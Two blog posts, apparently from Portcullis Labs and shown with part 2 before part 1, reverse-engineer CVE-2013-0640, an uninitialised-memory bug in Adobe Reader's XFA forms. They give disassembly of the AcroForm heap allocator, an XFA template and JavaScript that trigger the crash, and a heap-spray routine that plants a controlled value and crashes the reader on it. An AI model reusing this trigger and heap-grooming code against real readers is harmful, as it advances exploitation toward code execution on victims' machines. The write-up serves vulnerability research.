Warning: All function names in this article are purely fictional and were chosen based on what was understood during the reverse engineering. Even if it could resemble true names, it is most likely a coincidence. Obviously no pieces of code were harmed during the reverse engineering.

Binary Information

Un-initialized memory vulnerability

As seen in the previous paper, the bug is due to un-initialized memory. In order to exploit this kind of vulnerability, one needs to control the content of the memory at the address of the future allocation. Hopefully the heap is deterministic. In order to understand this, we need to dive deep into AcroForm to see how blocks of memory are allocated.

AcroForm custom memory allocator

The buggy block that contains un-initialized data is allocated and used in the sub_209DE150() function. It allocates a block of 0x3c and initializes it as a node object.

.text:209DE150 sub_209DE150
.text:209DE150
.text:209DE150 var_34          = dword ptr -34h
.text:209DE150 var_30          = dword ptr -30h
.text:209DE150 var_2C          = dword ptr -2Ch
.text:209DE150 var_28          = dword ptr -28h
.text:209DE150 var_24          = dword ptr -24h
.text:209DE150 var_20          = dword ptr -20h
.text:209DE150 var_1C          = dword ptr -1Ch
.text:209DE150 var_18          = dword ptr -18h

...

.text:209DE2F4                 call    sub_20988A83
.text:209DE2F9                 lea     ecx, [ebp+arg_4]
.text:209DE2FC                 mov     byte ptr [ebp+var_4], 6
.text:209DE300                 call    sub_208A7FA1
.text:209DE305                 push    3Ch
.text:209DE307                 call    CustomMalloc
.text:209DE30C                 pop     ecx
.text:209DE30D                 mov     ecx, eax
.text:209DE30F                 mov     [ebp+arg_4], ecx
.text:209DE312                 cmp     ecx, edi
.text:209DE314                 mov     byte ptr [ebp+var_4], 8
.text:209DE318                 jz      short loc_209DE327
.text:209DE31A                 push    edi
.text:209DE31B                 lea     eax, [ebp+var_1C]
.text:209DE31E                 push    eax
.text:209DE31F                 push    edi
.text:209DE320                 call    InitializeBrokenNode
.text:209DE325                 mov     edi, eax

We can observe from the disassembled code that the function in charge of the allocation is specific to AcroForm. The CustomMalloc() function works by getting an object that represents the custom heap and returning an address of a block of the desired size: 0x3c in our case.

.text:2080B962 CustomMalloc
.text:2080B962
.text:2080B962 arg_0           = dword ptr  4
.text:2080B962
.text:2080B962                 push    [esp+arg_0]     ; size.
.text:2080B966                 push    0
.text:2080B968                 call    GetCustomHeapObject
.text:2080B96D                 pop     ecx
.text:2080B96E                 mov     ecx, eax
.text:2080B970                 call    DoCustomAllocation
.text:2080B975                 retn
.text:2080B975 CustomMalloc    endp

First a small check is performed in the DoCustomAllocation() function to ensure that the custom heap allocator is activated. Otherwise the malloc() function is called directly. Following this, it tries to find a memory pool that matches the desired size. This is achieved using the GetBlockFromMemoryPool() function that returns a memory pool for the size 0×48. Once done, the result of the UpdateMemoryPoolAndReturnAllocatedBlock() function is returned.

.text:2080B81E DoCustomAllocation
.text:2080B81E
.text:2080B81E var_14          = byte ptr -14h
.text:2080B81E arg_0           = dword ptr  8
.text:2080B81E
.text:2080B81E                 push    ebp
.text:2080B81F                 mov     ebp, esp
.text:2080B821                 sub     esp, 14h
.text:2080B824                 cmp     isCustomAllocator, 0   ; Is custom heap activated? Else use malloc.
.text:2080B82B                 jnz     short loc_2080B851     ; Jump is taken.
.text:2080B82D                 push    [ebp+arg_0]
.text:2080B830                 call    ds:malloc
.text:2080B836                 test    eax, eax
.text:2080B838                 pop     ecx
.text:2080B839                 jnz     short locret_2080B86A
.text:2080B83B                 lea     ecx, [ebp+var_14]
.text:2080B83E                 call    sub_20805C9A
.text:2080B843                 push    offset unk_20E0073C
.text:2080B848                 lea     eax, [ebp+var_14]
.text:2080B84B                 push    eax
.text:2080B84C                 call    _CxxThrowException
.text:2080B851
.text:2080B851 loc_2080B851:
.text:2080B851                 mov     eax, [ebp+arg_0]       ; Take the desired size.
.text:2080B854                 add     eax, eax
.text:2080B856                 push    eax
.text:2080B857                 lea     eax, [ebp+arg_0]
.text:2080B85A                 push    eax
.text:2080B85B                 call    GetBlockFromMemoryPool
.text:2080B860                 push    [ebp+arg_0]            ; Size 0x48.
.text:2080B863                 mov     ecx, eax
.text:2080B865                 call    UpdateMemoryPoolAndReturnAllocatedBlock
.text:2080B86A
.text:2080B86A locret_2080B86A:
.text:2080B86A                 leave
.text:2080B86B                 retn    4

The GetBlockFromMemoryPool() function works by first checking if the desired size is bigger than 0×100. Otherwise it looks into a freelist for a memory pool that fits. The freelist consists of an array of quartets of dwords. Although all sizes between 0 and 0×100 have their own entries in the freelist, some may share the same memory pool. This is the case for size 0x3c and size 0×48.

.text:2080B744 GetBlockFromMemoryPool
.text:2080B744
.text:2080B744 arg_0           = dword ptr  4
.text:2080B744 arg_4           = dword ptr  8
.text:2080B744
.text:2080B744                 push    ebx
.text:2080B745                 push    esi
.text:2080B746                 mov     ebx, ecx             ; ECX points to the custom heap object.
.text:2080B748                 mov     ecx, [esp+8+arg_0]
.text:2080B74C                 mov     esi, [ecx]           ; Desired size.
.text:2080B74E                 push    edi
.text:2080B74F                 mov     edi, 100h
.text:2080B754                 cmp     esi, edi
.text:2080B756                 jnb     short bigger_than_100_or_freelist_empty
.text:2080B758                 mov     eax, [ebx+esi*4+18h] ; Look at the freelist for blocks of size 0x3c.
.text:2080B75C                 test    eax, eax
.text:2080B75E                 jz      short bigger_than_100_or_freelist_empty
.text:2080B760                 mov     edx, [eax+4]         ; Get the real size of the block.
.text:2080B763                 mov     edx, [edx]
.text:2080B765                 mov     edx, [edx]           ; Here it is 0x48.
.text:2080B767                 mov     [ecx], edx
.text:2080B769                 jmp     short loc_2080B77F
.text:2080B76B
.text:2080B76B bigger_than_100_or_freelist_empty:
.text:2080B76B                 push    [esp+0Ch+arg_4]
.text:2080B76F                 push    ecx
.text:2080B770                 mov     ecx, ebx
.text:2080B772                 call    sub_2080B651
.text:2080B777                 cmp     esi, edi
.text:2080B779                 jnb     short loc_2080B77F
.text:2080B77B                 mov     [ebx+esi*4+18h], eax ; Update the freelist.
.text:2080B77F
.text:2080B77F loc_2080B77F:
.text:2080B77F                 mov     ecx, eax
.text:2080B781                 call    GetTheBlockOrAllocateANewPool
.text:2080B786                 pop     edi
.text:2080B787                 pop     esi
.text:2080B788                 pop     ebx
.text:2080B789                 retn    8
.text:2080B789 GetBlockFromMemoryPool endp

The memory pool sharing for size 0x3c and size 0×48 can be observed in the memory:

Quartet for freelist 0x3c.
02A7AAE0    02405648  HV@    --> Pool address.
02A7AAE4    00000000  ....
02A7AAE8    00000000  ....
02A7AAEC    00000000  ....

Quartet for freelist 0x48.
02A7AB10    02405648  HV@    --> Pool address.
02A7AB14    00000000  ....
02A7AB18    00000000  ....
02A7AB1C    00000000  ....

Once the correct memory pool is retrieved, the GetTheBlockOrAllocateANewPool() function is called. This function browses the memory pool for a free block. If the pool is not empty it takes the first available block and returns it.

.text:208D3D56 GetTheBlockOrAllocateANewPool
.text:208D3D56
.text:208D3D56 var_10          = dword ptr -10h
.text:208D3D56 var_4           = dword ptr -4
.text:208D3D56
.text:208D3D56                 push    4
.text:208D3D58                 mov     eax, offset sub_20D34DDF
.text:208D3D5D                 call    __EH_prolog3
.text:208D3D62                 mov     edi, ecx
.text:208D3D64                 mov     edx, [edi]
.text:208D3D66                 xor     esi, esi
.text:208D3D68                 xor     ecx, ecx
.text:208D3D6A                 test    edx, edx
.text:208D3D6C                 jbe     short loc_208D3D81
.text:208D3D6E                 mov     eax, [edi+4]

...

.text:208D3D71 loc_208D3D71:
.text:208D3D71                 mov     esi, [eax]
.text:208D3D73                 cmp     dword ptr [esi+20h], 0 ; If NULL, then the memory pool is empty.
.text:208D3D77                 jnz     short loc_208D3DAB

...

.text:208D3DAB loc_208D3DAB:
.text:208D3DAB                 test    ecx, ecx
.text:208D3DAD                 jbe     short loc_208D3DDC

...

.text:208D3DDC loc_208D3DDC:
.text:208D3DDC                 mov     eax, esi
.text:208D3DDE                 call    __EH_epilog3
.text:208D3DE3                 retn

Back to the DoCustomAllocation() function, the block is detached from the memory pool and the memory pool’s header is updated using the UpdateMemoryPoolAndReturnAllocatedBlock() function.

.text:208D3B6E UpdateMemoryPoolAndReturnAllocatedBlock
.text:208D3B6E
.text:208D3B6E                 mov     eax, [ecx+20h]
.text:208D3B71                 mov     edx, [eax]          ; Next block.
.text:208D3B73                 mov     [ecx+20h], edx      ; Attach the next block in the list.
.text:208D3B76                 mov     [eax], ecx          ; Mark the current block with a pointer to the info header.
.text:208D3B78                 inc     dword ptr [ecx+1Ch] ; Increment reference counter to the block.
.text:208D3B7B                 add     eax, 4              ; Return the actual address of the newly allocated block.
.text:208D3B7E                 retn    4

The address of the newly allocated block is returned and eventually the CustomMalloc() function returns its address. It is ready to be used.

This completes the allocation of a new block when the memory pool contains free blocks. Otherwise a new one needs to be allocated. This can be achieved using the GetTheBlockOrAllocateANewPool() function. The pointer at ESI+0×20 is NULL and ultimately the DoPoolAllocation() function is called.

.text:208D3D56 GetTheBlockOrAllocateANewPool
.text:208D3D56
.text:208D3D56 var_10          = dword ptr -10h
.text:208D3D56 var_4           = dword ptr -4
.text:208D3D56
.text:208D3D56                 push    4
.text:208D3D58                 mov     eax, offset sub_20D34DDF
.text:208D3D5D                 call    __EH_prolog3

...

.text:208D3D71 loc_208D3D71:
.text:208D3D71                 mov     esi, [eax]
.text:208D3D73                 cmp     dword ptr [esi+20h], 0 ; If NULL, then the memory pool is empty.
.text:208D3D77                 jnz     short loc_208D3DAB
.text:208D3D79                 inc     ecx
.text:208D3D7A                 add     eax, 4
.text:208D3D7D                 cmp     ecx, edx
.text:208D3D7F                 jb      short loc_208D3D71

.text:208D3D81 loc_208D3D81:
.text:208D3D81                 push    28h
.text:208D3D83                 call    ??2@YAPAXI@Z           ; operator new(uint).
.text:208D3D88                 pop     ecx
.text:208D3D89                 mov     [ebp+var_10], eax
.text:208D3D8C                 and     [ebp+var_4], 0
.text:208D3D90                 test    eax, eax
.text:208D3D92                 jz      short loc_208D3DB7
.text:208D3D94                 mov     eax, [esi+4]
.text:208D3D97                 mov     ecx, [esi]
.text:208D3D99                 mov     esi, [esi+24h]
.text:208D3D9C                 push    eax
.text:208D3D9D                 push    ecx
.text:208D3D9E                 mov     ecx, [ebp+var_10]
.text:208D3DA1                 push    esi
.text:208D3DA2                 call    DoPoolAllocation
.text:208D3DA7                 mov     esi, eax
.text:208D3DA9                 jmp     short loc_208D3DB9

The DoPoolAllocation() function calls the AllocatePool() function.

.text:208D3C90 DoPoolAllocation
.text:208D3C90
.text:208D3C90 var_10          = dword ptr -10h
.text:208D3C90 var_4           = dword ptr -4
.text:208D3C90 arg_0           = dword ptr  8
.text:208D3C90 arg_4           = dword ptr  0Ch
.text:208D3C90 arg_8           = dword ptr  10h
.text:208D3C90
.text:208D3C90                 push    4
.text:208D3C92                 mov     eax, offset sub_20CE1F10
.text:208D3C97                 call    __EH_prolog3
.text:208D3C9C                 mov     esi, ecx
.text:208D3C9E                 mov     [ebp+var_10], esi
.text:208D3CA1                 mov     eax, [ebp+arg_4]
.text:208D3CA4                 mov     [esi], eax
.text:208D3CA6                 mov     eax, [ebp+arg_8]
.text:208D3CA9                 lea     ecx, [esi+8]
.text:208D3CAC                 mov     [esi+4], eax
.text:208D3CAF                 call    sub_20A0A893
.text:208D3CB4                 xor     eax, eax
.text:208D3CB6                 mov     [ebp+var_4], eax
.text:208D3CB9                 mov     [esi+1Ch], eax
.text:208D3CBC                 mov     [esi+20h], eax
.text:208D3CBF                 mov     eax, [ebp+arg_0]
.text:208D3CC2                 mov     ecx, esi
.text:208D3CC4                 mov     [esi+24h], eax
.text:208D3CC7                 mov     dword ptr [esi+18h], 10h
.text:208D3CCE                 call    AllocatePool
.text:208D3CD3                 mov     eax, esi
.text:208D3CD5                 call    __EH_epilog3
.text:208D3CDA                 retn    0Ch

The AllocatePool() function performs the actual task. A new memory pool is allocated using the standard malloc() function from the MSVCR80 module. Its size is computed the following way:

• Rounds 0×48 to 0x4c and allocates for 0x2b7 items: 0x4c * 0x2b7 = 0xce54 bytes

.text:208D3BF4 AllocatePool
.text:208D3BF4
.text:208D3BF4 var_18          = byte ptr -18h
.text:208D3BF4 var_4           = dword ptr -4
.text:208D3BF4
.text:208D3BF4                 push    ebp
.text:208D3BF5                 mov     ebp, esp
.text:208D3BF7                 sub     esp, 18h
.text:208D3BFA                 push    esi
.text:208D3BFB                 mov     esi, ecx
.text:208D3BFD                 mov     eax, [esi]       ; Desired block size for the memory pool: 0x48.
.text:208D3BFF                 mov     ecx, [esi+4]     ; 0x2B7.
.text:208D3C02                 add     eax, 3
.text:208D3C05                 shr     eax, 2
.text:208D3C08                 lea     eax, ds:4[eax*4] ; 0x4C.
.text:208D3C0F                 imul    eax, ecx         ; 0xCE54.
.text:208D3C12                 push    edi
.text:208D3C13                 push    eax
.text:208D3C14                 call    ds:malloc
.text:208D3C1A                 mov     edi, eax
.text:208D3C1C                 test    edi, edi
.text:208D3C1E                 pop     ecx

TMTOWTDI

As always, when it comes to exploit a vulnerability, there is more than one way to do it. This one is no exception:

• Using the custom allocator
• Using the complete pool coming from malloc()

In both ways, the idea is to allocate a fair amount of blocks of the targeted size and fill them with controlled data, then to free some of them and
trigger the final allocation. Because the memory in un-initialized, its content is going to be the content of the previously allocated data at this location, our data.

The first method would be to use the custom allocator. This involves searching for all calls to the CustomMalloc() function and find one that can both allocate data between 0x3c to 0×48 bytes large and which value can be set at offset 0x3c. This is quite boring and time-consuming. On the other hand, it is a good opportunity to find more bugs.

The second method is to use directly the malloc() function and spray the memory with blocks of 0xce54 bytes containing the value we want to set at 0x3c, then to free half of them. Subsequently, we need to allocate a few nodes to force the custom allocator to create a new memory pool for size 0×48. Luckily it will use a spot we just freed.

Initializing the un-initialized

The JavaScript engine (the EScript_api module) uses malloc() to allocate strings. It can be used to allocate 3000 strings of 0xce54 bytes and then to free half of them, leaving holes of targeted size. A short spray of nodes is needed to force the allocator to create a new memory pool that will just fit the newly created hole.

function UninitializedMemorySpray()
{
	var size = 0xce54;
	var spray = [];
	var block = BuildBlock(dword(0x42424242), size);
	for (var i = 0; i < 3000; i++)
	{
		spray.push(block.substring(0, block.length-2) + dword(i));
	}

	/* Free half of the blocks. */
	for (var i = 0 ; i < spray.length ; i++)
	{
		if ((i % 2) == 0)
		{
			spray[i] = dword(i);
			delete spray[i];
		}
	}

	return spray;
}

function Trigger()
{
	var spray = UninitializedMemorySpray();

	/* Create new nodes to force the creation of a new pool. */
	for (var i=0 ; i < 500 ; i++)
	{
		xfa.template.createNode("contentArea", "A");
	}

    /* Trigger the bug. */
	xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList;
}

Back to the sub_209DE150() function, we have seen that it allocates 0x3c bytes using the custom allocator and then initializes the memory as a new node.

.text:209D8D71 InitializeBrokenNode
.text:209D8D71
.text:209D8D71 arg_0           = dword ptr  4
.text:209D8D71 arg_4           = dword ptr  8
.text:209D8D71 arg_8           = dword ptr  0Ch
.text:209D8D71
.text:209D8D71                 push    esi
.text:209D8D72                 push    [esp+4+arg_0]
.text:209D8D76                 mov     esi, ecx
.text:209D8D78                 call    FirstTouchAllocationHere
.text:209D8D7D                 mov     ecx, [esp+4+arg_4]
.text:209D8D81                 mov     dword ptr [esi], offset broken_object
.text:209D8D87                 mov     eax, [ecx]
.text:209D8D89                 xor     edx, edx
.text:209D8D8B                 cmp     eax, edx
.text:209D8D8D                 mov     [esi+24h], eax
.text:209D8D90                 jz      short loc_209D8D95
.text:209D8D92                 inc     dword ptr [eax+4]
.text:209D8D95
.text:209D8D95 loc_209D8D95:
.text:209D8D95                 mov     eax, [esp+4+arg_8]
.text:209D8D99                 mov     [esi+2Ch], eax
.text:209D8D9C                 mov     [esi+30h], edx
.text:209D8D9F                 mov     [esi+34h], edx
.text:209D8DA2                 mov     [esi+38h], edx
.text:209D8DA5                 mov     eax, off_20E93D74 ; Pointer to ascii "node".
.text:209D8DAA                 and     dword ptr [esi+28h], 0FFFFFFF0h
.text:209D8DAE                 mov     [esi+0Ch], eax
.text:209D8DB1                 mov     dword ptr [esi+10h], 0C9h
.text:209D8DB8                 mov     ecx, [ecx]
.text:209D8DBA                 cmp     ecx, edx

After the function returns, we can check the memory at the broken object and the value at offset 0x3c is indeed the expected 0×42424242.

$ ==>       20D7F824  $ø×
$+4         00000000  ....
$+8         00000000  ....
$+C         20E93D64  d=é      ; PTR to ASCII "node"
$+10        000000C9  É...
$+14        42424242  BBBB
$+18        42424252  RBBB
$+1C        00000000  ....
$+20        00000000  ....
$+24        0E026D50  Pm
$+28        42424240  @BBB
$+2C        00000000  ....
$+30        00000000  ....
$+34        00000000  ....
$+38        00000000  ....
$+3C        42424242  BBBB
$+40        42424242  BBBB
$+44        42424242  BBBB
$+48        0E026E30  0n
$+4C        42424242  BBBB

If we let Adobe Reader continue, it crashes with the controlled 0×42424242 value. Mission achieved!

(b70.2a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f428 ebx=0360807c ecx=42424242 edx=00000000 esi=0ea23948 edi=42424242
eip=209063b8 esp=0012f3e8 ebp=0012f418 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
209063b8 8b7740          mov     esi,dword ptr [edi+40h] ds:0023:42424282=????????

Conclusion

The full reversing of the AcroForm allocation function was in fact not entirely required. Indeed the size of a memory pool could just be found by setting page heap and heap tagging using gflags. However, reversing the allocator is never a waste of time. It gives a good insight of the internals of the application and good ideas on how to abuse it in order to exploit heap overflows or produce a memory leak. It is also a good way of finding new bugs.

This concludes the second part. We have seen how to control the un-initialized data. We are ready to leverage the bug into a code execution vulnerability.

References

• Adobe’s advisory: APSA13-02
• Download target version: Adobe Acrobat 10 for Windows
• XFA Specification

The post CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability (part 2) appeared first on Portcullis Labs.

Adobe Reader is an application software developed by Adobe Systems to view files in Portable Document Format (PDF).

Adobe XML forms architecture (XFA) are XML specifications for forms to be embedded in a PDF document. There were first introduced in the PDF 1.5 file format specification. They are not compatible with AcroForms. The form itself is saved internally in the PDF. There is a bug when dealing with the forms in a specific way.

Binary Information

Analysis

Trigger

The proof of concept consists of an embedded XFA form that is being manipulated using JavaScript.

The form by itself contains two subforms:

• The first contains a choiceList object
• The second one contains a simple draw object

<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
    <subform name="form1">
        <pageSet>
            <pageArea name="page1">
                <contentArea />
                <subform>
                    <field name="field0">
                        <ui><choiceList></choiceList></ui>
                    </field>
                </subform>
            </pageArea>
        </pageSet>
        <subform>
            <draw name="rect1" />
        </subform>
    </subform>
</template>

In order to trigger the bug the JavaScript code first saves a reference to the choiceList object for later use. Then it changes the property keep.previous of the draw object in the second subform to contentArea. Once done, the choiceList object is re-attached to the first subform. This triggers the bug.

function Trigger
{
    MessWithTheMemory();
    xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList;
}
var choiceList = null;
function Start()
{
    choiceList = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]");
    xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous = "contentArea";
    ddd = app.setTimeOut("Trigger();", 1);
}
Start();

Binary analysis

Adobe Reader crashes in the AcroForm_api module. Just before the crash a function located at address 0x20907FA0 is called. For convenience this function is called UseTheUninitializedValue. First it calls a function at 0x209D76AE named GetTheBrokenObject. It then increments an attribute of the object, probably a reference count. Finally the attribute at 0x3c is evaluated. If is is not NULL a function at 0x209063B4 named crash_here is called using the object attribute at 0x3c.

.text:20907FA0 UseTheUninitializedValue
.text:20907FA0
.text:20907FA0 var_10          = dword ptr -10h
.text:20907FA0 var_4           = dword ptr -4g
.text:20907FA0 arg_0           = dword ptr  8
.text:20907FA0 arg_4           = dword ptr  0Ch
.text:20907FA0 arg_8           = dword ptr  10h
.text:20907FA0
.text:20907FA0                 push    4
.text:20907FA2                 mov     eax, offset sub_20CE45C9
.text:20907FA7                 call    __EH_prolog3
.text:20907FAC                 mov     ebx, ecx
.text:20907FAE                 and     [ebp+var_10], 0
.text:20907FB2                 push    [ebp+arg_8]
.text:20907FB5                 lea     eax, [ebp+arg_8]
.text:20907FB8                 push    [ebp+arg_4]
.text:20907FBB                 push    eax
.text:20907FBC                 call    GetTheBrokenObject // Get the uninitialized object from here.
.text:20907FC1                 mov     esi, [eax]
.text:20907FC3                 test    esi, esi
.text:20907FC5                 mov     [ebp+arg_4], esi
.text:20907FC8                 jz      short loc_20907FCD
.text:20907FCA                 inc     dword ptr [esi+4] // Reference counter?
.text:20907FCD
.text:20907FCD loc_20907FCD:
.text:20907FCD                 lea     ecx, [ebp+arg_8]
.text:20907FD0                 mov     [ebp+var_4], 1
.text:20907FD7                 call    sub_208A7FA1
.text:20907FDC                 mov     edi, [ebx+3Ch]
.text:20907FDF                 test    edi, edi
.text:20907FE1                 jz      short loc_20908012
.text:20907FE3                 cmp     dword ptr [esi+3Ch], 0 // If 0, skip the call.
.text:20907FE7                 jz      short loc_20907FF2
.text:20907FE9                 mov     ecx, [esi+3Ch] // Uninitialized memory here.
.text:20907FEC                 push    ebx
.text:20907FED                 call    crash_here

The value coming from ESI+0x3c is used as a pointer. However the value is invalid, Adobe Reader crashes when dereferencing it.

.text:209063B4 crash_here
.text:209063B4
.text:209063B4 arg_0           = dword ptr  4
.text:209063B4
.text:209063B4                 push    esi
.text:209063B5                 push    edi
.text:209063B6                 mov     edi, ecx // EDI is invalid.
.text:209063B8                 mov     esi, [edi+40h]
.text:209063BB                 test    esi, esi
.text:209063BD                 jz      short loc_209063FE

...

.text:209063FE loc_209063FE:
.text:209063FE
.text:209063FE                 pop     edi
.text:209063FF                 pop     esi
.text:20906400                 retn    4
.text:20906400 crash_here      endp

In order to find the reason EDI contains an invalid value, we need to go back to the constructor of the object.

It can be found at 0x209D8D71 in a function named InitializeBrokenObject. This function is the constructor of the object. As seen from the disassembled code, the value at 0x3c is never initialized.

.text:209D8D71 InitializeBrokenObject
.text:209D8D71
.text:209D8D71 arg_0           = dword ptr  4
.text:209D8D71 arg_4           = dword ptr  8
.text:209D8D71 arg_8           = dword ptr  0Ch
.text:209D8D71
.text:209D8D71                 push    esi
.text:209D8D72                 push    [esp+4+arg_0]
.text:209D8D76                 mov     esi, ecx
.text:209D8D78                 call    sub_209E7137 // ECX comes from the second argument.
.text:209D8D7D                 mov     ecx, [esp+4+arg_4] // vtable.
.text:209D8D81                 mov     dword ptr [esi], offset broken_object
.text:209D8D87                 mov     eax, [ecx]
.text:209D8D89                 xor     edx, edx
.text:209D8D8B                 cmp     eax, edx
.text:209D8D8D                 mov     [esi+24h], eax
.text:209D8D90                 jz      short loc_209D8D95
.text:209D8D92                 inc     dword ptr [eax+4]
.text:209D8D95
.text:209D8D95 loc_209D8D95:   // Offset 0x3c is not set.
.text:209D8D95                 mov     eax, [esp+4+arg_8]
.text:209D8D99                 mov     [esi+2Ch], eax
.text:209D8D9C                 mov     [esi+30h], edx
.text:209D8D9F                 mov     [esi+34h], edx
.text:209D8DA2                 mov     [esi+38h], edx
.text:209D8DA5                 mov     eax, off_20E93D74
.text:209D8DAA                 and     dword ptr [esi+28h], 0FFFFFFF0h
.text:209D8DAE                 mov     [esi+0Ch], eax
.text:209D8DB1                 mov     dword ptr [esi+10h], 0C9h
.text:209D8DB8                 mov     ecx, [ecx]
.text:209D8DBA                 cmp     ecx, edx
.text:209D8DBC                 jz      short loc_209D8DC1
.text:209D8DBE                 mov     [ecx+3Ch], esi
.text:209D8DC1
.text:209D8DC1 loc_209D8DC1:
.text:209D8DC1                 mov     eax, esi
.text:209D8DC3                 pop     esi
.text:209D8DC4                 retn    0Ch
.text:209D8DC4 InitializeBrokenObject endp

Depending on the previous memory usage, the value at ESI+0x3C may vary. If it is 0, the call is skipped and nothing happens. Otherwise a crash may occur.

Conclusion

This concludes the detailed analysis of the bug. The goal next is to replace the un-initialized data by fully controlled values and to leverage the bug into code execution. This involves a bit of heap massage and it will be the main focus of the second article.

References

• Adobe’s advisory: APSA13-02
• Download target version: Adobe Acrobat 10 for Windows
• XFA Specification

The post CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability (part 1) appeared first on Portcullis Labs.